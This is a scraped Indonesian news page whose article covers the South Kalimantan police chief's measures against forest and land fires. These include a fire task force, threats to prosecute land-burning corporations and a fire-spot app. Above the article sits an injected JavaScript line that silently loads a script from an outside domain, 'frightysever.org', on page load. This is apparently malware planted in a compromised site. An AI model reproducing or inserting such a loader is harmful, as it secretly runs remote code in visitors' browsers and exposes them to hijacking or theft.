(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

Perangi Karhutla di Kalsel, Irjen Nico: Masih Ada Korporasi yang Bandel!


KANALKALIMANTAN.COM, BANJARMASIN – Meski belum memasuki puncak kemarau yang menjadi potensi kasus kebakaran hutan dan lahan (Karhutla), Kapolda Kalsel Irjen Nico Afinta tetap melakukan langkah antisipasi. Selain membentuk Satgas Karhutla beranggotakan unsur TNI-Polri, pemerintah daerah dan relawan, Irjen Nico juga menerapkan langkah preemtif, preventif, dan gakkum (penegakan hokum).

Diakui Irjen Nico, ada salah satu korporasi yang bandel melakukan pembakaran lahan yang kini masih dalam proses di kepolisian. Kendati tidak menyebutkan nama, ia mengatakan korporasi ini telah ditindak polisi tahun lalu. “Sudah ada. Sudah ada korporasi yang kita proses di tahun lalu,” kata Irjen Nico.

Lalu, bagaimana dengan tahun ini? Irjen Nico mengatakan, jajarannya akan mengumpulkan asosiasi pengusaha yang bergerak di bidang sawit maupun lainnya. Ia pun berjanji akan menindak tegas jika didapati ada korporasi ataupun oknum yang dengan sengaja melakukan pembakaran lahan.

“Apabila mereka nanti melakukan pembakaran dengan sengaja ataupun oknumnya yang melakukan pembakaran, kalaa ada ada perintah dari perusahaan, maka itu akan diajukan ke pengadilan,” tegas Irjen Nico.

Diakuinya, ada berbagai macam persepsi terkait pembakaran lahan. Tapi yang menjadi prioritasnya adalah kemaslahatan masyarakat yang terdampak karhutla maupun pemerintah yang turut berjibaku menanggulangi karhutla.

“Jadi, yang kita ikuti itu. Misalkan tidak boleh membakar lahan lebih dari 2 hektare, diikuti. Tidak boleh korporasi melakukan pembakaran dengan sengaja, ya harus diikuti. Kalau mereka bandel, proses hokum yang berjalan,” beber Irjen Nico.

Di samping itu, Irjen Nico menambahkan, langkah yang diambil Polda Kalsel yaitu melakukan koordinasi penyiapan anggaran. Karena, Karhutla dapat terjadi di tempat yang berbeda dalam waktu yang sama. Penyiapan anggaran dianggap penting, guna menyiapkan sarana dan prasarana dalam menunjang penanggulangan karhutla.

Kondisi karhutla dari Udara . Foto : fikri

Saat ini, ia menyebutkan jajarannya sedang mengatur HTCK (hubungan tata cara kerja) di dalam penanggulangan karhutla. Saat ini, ada beberapa inovasi seperti pembuatan software Bekantan yang bisa diunduh oleh masyarakat maupun petugas lapangan.

“Sehingga antara petugas di Polda maupun yang mendownload seperti masyarakat dan petugas dapat mengetahui persis di mana titik api dan menanggulanginya,” jelas Irjen Nico. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

9 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

9 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

11 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.